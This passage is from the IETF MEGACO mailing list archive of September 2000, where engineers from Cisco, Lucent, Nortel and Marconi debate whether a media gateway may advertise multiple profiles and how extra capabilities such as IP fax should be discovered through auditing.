> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > To: Michael P DiGioia
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > Rosen, Brian
> > > > Subject: Re: Profiles in Service Change
> > > >
> > > >
> > > >
> > > >
> > > > Michael P DiGioia wrote:
> > > >
> > > > > Brian,
> > > > >
> > > > > > > So does that mean that nobody can make an MG which
> > > > supports more than
> > > > > > > one profile? :-)
> > > > >
> > > > > >One way to get around the limitation is to try to get
> > > > > >service using the most "featurefull" profile.  If you fail
> > > > > >to find an MGC that can serve that profile, try again with
> > > > > >a different profile.
> > > > >
> > > > > I agree. I believe the point is that any one MG can support
> > > > one or more
> > > > > profile, however, once the most featurefull profile is
> > > > found to be accepted
> > > > > by an MGC, use it.
> > > >
> > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > relation between
> > > > (at least a resonable subset of) profiles based on some set
> > > > of features
> > > > supported. I don't see that. Christian's proposal of allowing
> > > > a listing of
> > > > profiles seemed pretty good to me - what was wrong with
> this again ?
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > What we build into our IpPhone MG is our choice. I don't
> > > > believe this limits
> > > > > us in any way. If so, how?
> > > > >
> > > > > /mpd
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 13:51:40 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA19158
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 13:51:38 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90CE1@standards.nortelnetworks.com>; Wed, 6 Sep 2000 13:36:30 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20568 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 13:36:29 -0400
Received: from qhars002.nortel.com (47.101.112.102:40021) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90CE0@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          13:36:24 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 6 Sep 2000 18:49:11 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 6 Sep 2000 13:48:09 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PGPDQ>; Wed, 6 Sep 2000 13:48:10 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0182A.97A85B60"
Message-ID:  <353093573B82D411889E0000F808216648E337@zcard00q.ca.nortel.com>
Date:         Wed, 6 Sep 2000 13:47:57 -0400
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         Tom-PT Taylor <taylor@nortelnetworks.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0182A.97A85B60
Content-Type: text/plain;
        charset="iso-8859-1"

(Oops -- ships that cross in the night problem.)

Yes, I agree this is a viable approach, and will be used in many cases.
Profiles can greatly simplify this process.  I think "has to" (as in MUST)
may be too strong.  See response in another part of this thread, just
posted.

-- Peter

-----Original Message-----
From: Taylor, Tom-PT [NORSE:B901:EXCH]
Sent: Wednesday, September 06, 2000 13:23
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Profiles in Service Change


How about the thought that a profile presents the bulk of an MG's
capabilities, but the MGC has to audit to find out what additional packages
it supports?

> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Wednesday, September 06, 2000 10:48 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> I agree to the underlying idea that profiles could be used to restrict
> fragmentation.  On the other hand, I think that Christian has a point.
> His example may have been unfortunate because it mentioned a call
> signaling protocol, but the point is valid.
>
> Suppose that I want to build a MG that supports the IPphone
> profile, and
> I also build in IP fax support.  If my MG signals that it supports the
> IPphone profile, the MGC infers that this MG supports a certain set of
> packages and maybe some things that are optional in the base megaco
> protocol.  It doesn't have a reason to audit the MG and find
> out that it
> can also do IP fax.  So how do I get the MGC to use the fax support
> (other than by provisioning the MGC with this information)?
>
> John
>
> Flemming Andreasen wrote:
> >
> > OK - I'll buy that.
> >
> > -- Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > What is wrong is that it promotes proliferation of
> > > many overlapping profiles.  Profiles are supposed to be
> > > a way of reducing the variability that Packages provide,
> > > so that one could reasonably expect to be able to find
> > > interoperable MGs and MGCs.
> > >
> > > No one can legislate this (no protocol police...), but
> > > we can encourage, or discourage proliferation of
> > > many profiles that attempt to solve the same problem
> > > different ways.  If you support 100 profiles, you may
> > > as well just ignore the profile info and look at the
> > > audited package list!
> > >
> > > I want to make it HARD to have more than one profile
> > > per MG (not MGC).  Not impossible, just hard.  I think
> > > that will encourage coalescing around a small number of
> > > profiles for specific purposes that all relevant MGs and
> > > MGCs support, which in turn will make the protocol successful.
> > >
> > > What I fear is balkanization by proliferation of profiles,
> > > which leads to non-interoperable devices.  It would be non
> > > interoperable because there were no common profiles, rather
> > > that if you found a common one, it wouldn't work.  The
> > > package mechanism is a wonderful way to have all sorts of
> > > extensions and features in MGs.  The profile mechanism was
> > > designed to provide a way to corral the easy expansion into
> > > more limited groups of options.  Generally, successful
> > > protocols are not easy "bent" in many different ways -> you
> > > get ONE way, and everyone does it that way, and the world
> > > is better for it.  The package thing is great, but it is
> > > a danger.  The profile is the only way I know to limit it's
> > > potential to undermine the effectiveness of the protocol.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Wednesday, September 06, 2000 10:01 AM
> > > > To: Michael P DiGioia
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > > > Rosen, Brian
> > > > Subject: Re: Profiles in Service Change
> > > >
> > > >
> > > >
> > > >
> > > > Michael P DiGioia wrote:
> > > >
> > > > > Brian,
> > > > >
> > > > > > > So does that mean that nobody can make an MG which
> > > > supports more than
> > > > > > > one profile? :-)
> > > > >
> > > > > >One way to get around the limitation is to try to get
> > > > > >service using the most "featurefull" profile.  If you fail
> > > > > >to find an MGC that can serve that profile, try again with
> > > > > >a different profile.
> > > > >
> > > > > I agree. I believe the point is that any one MG can support
> > > > one or more
> > > > > profile, however, once the most featurefull profile is
> > > > found to be accepted
> > > > > by an MGC, use it.
> > > >
> > > > I disagree as Brian's comments assumes a meaningful ordering
> > > > relation between
> > > > (at least a resonable subset of) profiles based on some set
> > > > of features
> > > > supported. I don't see that. Christian's proposal of allowing
> > > > a listing of
> > > > profiles seemed pretty good to me - what was wrong with
> this again ?
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > What we build into our IpPhone MG is our choice. I don't
> > > > believe this limits
> > > > > us in any way. If so, how?
> > > > >
> > > > > /mpd
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
>
> --
> John Segers                                  email: jsegers@lucent.com
> Lucent Technologies                                        Room HE 303
> Dept. Forward Looking Work                      phone: +31 35 687 4724
> P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954
>

------_=_NextPart_001_01C0182A.97A85B60
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>(Oops -- ships that cross in the night =
problem.)&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>Yes, I agree this is a viable approach, and will be =
used in many cases.&nbsp; Profiles can greatly simplify this =
process.&nbsp; I think &quot;has to&quot; (as in MUST) may be too =
strong.&nbsp; See response in another part of this thread, just =
posted.&nbsp;&nbsp;&nbsp; </FONT></P>

<P><FONT SIZE=3D2>-- Peter </FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Taylor, Tom-PT [NORSE:B901:EXCH] </FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, September 06, 2000 13:23</FONT>
<BR><FONT SIZE=3D2>To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Profiles in Service Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>How about the thought that a profile presents the =
bulk of an MG's</FONT>
<BR><FONT SIZE=3D2>capabilities, but the MGC has to audit to find out =
what additional packages</FONT>
<BR><FONT SIZE=3D2>it supports?</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: John Segers [<A =
HREF=3D"mailto:jsegers@LUCENT.COM">mailto:jsegers@LUCENT.COM</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, September 06, 2000 10:48 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Profiles in Service Change</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I agree to the underlying idea that profiles =
could be used to restrict</FONT>
<BR><FONT SIZE=3D2>&gt; fragmentation.&nbsp; On the other hand, I think =
that Christian has a point.</FONT>
<BR><FONT SIZE=3D2>&gt; His example may have been unfortunate because =
it mentioned a call</FONT>
<BR><FONT SIZE=3D2>&gt; signaling protocol, but the point is =
valid.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Suppose that I want to build a MG that supports =
the IPphone</FONT>
<BR><FONT SIZE=3D2>&gt; profile, and</FONT>
<BR><FONT SIZE=3D2>&gt; I also build in IP fax support.&nbsp; If my MG =
signals that it supports the</FONT>
<BR><FONT SIZE=3D2>&gt; IPphone profile, the MGC infers that this MG =
supports a certain set of</FONT>
<BR><FONT SIZE=3D2>&gt; packages and maybe some things that are =
optional in the base megaco</FONT>
<BR><FONT SIZE=3D2>&gt; protocol.&nbsp; It doesn't have a reason to =
audit the MG and find</FONT>
<BR><FONT SIZE=3D2>&gt; out that it</FONT>
<BR><FONT SIZE=3D2>&gt; can also do IP fax.&nbsp; So how do I get the =
MGC to use the fax support</FONT>
<BR><FONT SIZE=3D2>&gt; (other than by provisioning the MGC with this =
information)?</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; John</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Flemming Andreasen wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; OK - I'll buy that.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &quot;Rosen, Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; What is wrong is that it promotes =
proliferation of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; many overlapping profiles.&nbsp; =
Profiles are supposed to be</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; a way of reducing the variability =
that Packages provide,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; so that one could reasonably expect =
to be able to find</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; interoperable MGs and MGCs.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; No one can legislate this (no =
protocol police...), but</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; we can encourage, or discourage =
proliferation of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; many profiles that attempt to solve =
the same problem</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; different ways.&nbsp; If you support =
100 profiles, you may</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; as well just ignore the profile info =
and look at the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; audited package list!</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I want to make it HARD to have more =
than one profile</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; per MG (not MGC).&nbsp; Not =
impossible, just hard.&nbsp; I think</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; that will encourage coalescing around =
a small number of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; profiles for specific purposes that =
all relevant MGs and</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; MGCs support, which in turn will make =
the protocol successful.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; What I fear is balkanization by =
proliferation of profiles,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; which leads to non-interoperable =
devices.&nbsp; It would be non</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; interoperable because there were no =
common profiles, rather</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; that if you found a common one, it =
wouldn't work.&nbsp; The</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; package mechanism is a wonderful way =
to have all sorts of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; extensions and features in MGs.&nbsp; =
The profile mechanism was</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; designed to provide a way to corral =
the easy expansion into</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; more limited groups of options.&nbsp; =
Generally, successful</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; protocols are not easy =
&quot;bent&quot; in many different ways -&gt; you</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; get ONE way, and everyone does it =
that way, and the world</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; is better for it.&nbsp; The package =
thing is great, but it is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; a danger.&nbsp; The profile is the =
only way I know to limit it's</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; potential to undermine the =
effectiveness of the protocol.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; -----Original =
Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; From: Flemming Andreasen [<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Sent: Wednesday, September 06, =
2000 10:01 AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; To: Michael P DiGioia</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cc: =
MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Rosen, Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Subject: Re: Profiles in Service =
Change</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Michael P DiGioia wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; Brian,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; So does that mean =
that nobody can make an MG which</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; supports more than</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt; &gt; one profile? =
:-)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;One way to get around =
the limitation is to try to get</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;service using the most =
&quot;featurefull&quot; profile.&nbsp; If you fail</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;to find an MGC that can =
serve that profile, try again with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; &gt;a different =
profile.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; I agree. I believe the =
point is that any one MG can support</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; one or more</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; profile, however, once the =
most featurefull profile is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; found to be accepted</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; by an MGC, use it.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; I disagree as Brian's comments =
assumes a meaningful ordering</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; relation between</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; (at least a resonable subset of) =
profiles based on some set</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; of features</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; supported. I don't see that. =
Christian's proposal of allowing</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; a listing of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; profiles seemed pretty good to =
me - what was wrong with</FONT>
<BR><FONT SIZE=3D2>&gt; this again ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; What we build into our =
IpPhone MG is our choice. I don't</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; believe this limits</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; us in any way. If so, =
how?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; /mpd</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; John =
Segers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; email: =
jsegers@lucent.com</FONT>
<BR><FONT SIZE=3D2>&gt; Lucent =
Technologies&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Room HE 303</FONT>
<BR><FONT SIZE=3D2>&gt; Dept. Forward Looking =
Work&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; phone: +31 =
35 687 4724</FONT>
<BR><FONT SIZE=3D2>&gt; P.O. Box 18, 1270 AA&nbsp; =
Huizen&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fax: +31 =
35 687 5954</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0182A.97A85B60--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 13:57:24 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA19264
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 13:57:18 -0400 (EDT)
Received: from standards (47.234.32.16:1925) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90CFA@standards.nortelnetworks.com>; Wed, 6 Sep 2000 13:39:19 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20599 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 13:39:19 -0400
Received: from qhars002.nortel.com (47.101.112.102:40151) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90CF9@standards.nortelnetworks.com>; Wed, 6 Sep 2000
          13:39:18 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Wed, 6 Sep 2000 18:51:47 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 6 Sep 2000 12:46:26 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FDABVX>; Wed, 6 Sep 2000 12:44:02 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01829.E5E093C0"
Message-ID:  <353093573B82D411889E0000F808216648E336@zcard00q.ca.nortel.com>
Date:         Wed, 6 Sep 2000 12:42:59 -0500
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01829.E5E093C0
Content-Type: text/plain;
        charset="iso-8859-1"

A couple of points to add to the below (I agree with reasoning and 1 profile
at a time rule):

I do not expect profiles to completely get around auditing, merely make it a
whole lot easier and more reliable.  If termination/package structure,
minimum package support, naming conventions and so on are all agreed
implicitly by the MGC accepting a profile, then audits are used only to find
out what else a particular MG does, and audits can be much more specifically
directed.  If an MGC wants to only support the minimum function, there may
be no audits required at all in some cases (not the case in IP Phone BTW --
would still need to audit specific UI widgets supported by the UI
termination).

In the example of a Fax IP Phone, an alternative to creating a new profile
extending IP Phone is for the device just to support the IP Phone profile
and use MGC audits to discover there is additional fax support in the MG.
(Not too sure just what hypothetical package(s) we would need to add to make
this so, but no worries about that here.)  As long as the Fax IP Phone
device follows the basic structure and rules of IP Phone, I don't see any
interoperability trouble or ambiguity.

Also, to re-iterate an earlier point, if we take it as given that profiles
can define such things as assumed termination/package structure and naming
conventions, then arbitrary mixing of multiple profiles is much more than
understanding minimum required package support, and is a much trickier
problem.  Mutually incompatible assumptions may be made by the multiple
profiles, and then how to sort out the resulting ambiguity in the MGC and
MG?  Yeti.  Without rules for profile definition we have no way to sort this
out for multiple simultaneous profiles.  With the one profile at a time
rule, the problem does not exist and yet we can still extend using
additional packages within the overall structure defined by that profile.

If it is desirable to create profiles that extend others (I think this would
be a good thing), I submit we need to define formal definition rules to
specify how this works, along the lines of what we did with packages.  To my
mind this would be an extension of the Megaco/H.248 Protocol, for version 2,
not a job for the Implementer's Guide.  Same goes for re-defining profile in
ServiceChange -- must be tied to specific rules.

-- Peter

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
Sent: Wednesday, September 06, 2000 11:04
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Profiles in Service Change


I think that if we need to have faxphones, then we need
a profile for them, and there should be one way to do that,
which would be an extension of the Ipphone profile.

The real issue is, suppose you only had an MGC available that
DID understand Ipphone, but did NOT understand Ipfaxphone.

What is the right thing to do?
 a) fail, because you can't fax, and a user may expect that
 b) use the Ipphone protocol and cause a local error if
        a user tried to fax
 c) have local action (provisioning, or local configuration)
        that disables the fax function
I'm not really sure what the best answer is.  It's not
obvious to me that there IS a good answer.  It's good to
use the lowest common denominator to get service, but you
really ought to disable fax at the local terminal (which
could downgrade the profile).

I do think you have raised another issue worth discussing,
which is:
        Should we create a new profile to add one feature,
                or should MGCs audit always?

This also seems to me to not have an ideal answer:
  Making tons of profiles to add features is clearly going to
  give us lots of non-interoperable devices

        but

  auditing removes any usefulness of profiles for actual
  operation of the protocol

Brian

> -----Original Message-----
> From: John Segers [mailto:jsegers@LUCENT.COM]
> Sent: Wednesday, September 06, 2000 10:48 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> I agree to the underlying idea that profiles could be used to restrict
> fragmentation.  On the other hand, I think that Christian has a point.
> His example may have been unfortunate because it mentioned a call
> signaling protocol, but the point is valid.
>
> Suppose that I want to build a MG that supports the IPphone
> profile, and
> I also build in IP fax support.  If my MG signals that it supports the
> IPphone profile, the MGC infers that this MG supports a certain set of
> packages and maybe some things that are optional in the base megaco
> protocol.  It doesn't have a reason to audit the MG and find
> out that it
> can also do IP fax.  So how do I get the MGC to use the fax support
> (other than by provisioning the MGC with this information)?
>
> John
>
> Flemming Andreasen wrote:
> >
> > OK - I'll buy that.
> >
> > -- Flemming
> >
> > "Rosen, Brian" wrote:
> >
> > > What is wrong is that it promotes proliferation of
> > > many overlapping profiles.  Profiles are supposed to be
> > > a way of reducing the variability that Packages provide,
> > > so that one could reasonably expect to be able to find
> > > interoperable MGs and MGCs.
> > >
> > > No one can legislate this (no protocol police...), but
> > > we can encourage, or discourage proliferation of
> > > many profiles that attempt to solve the same problem
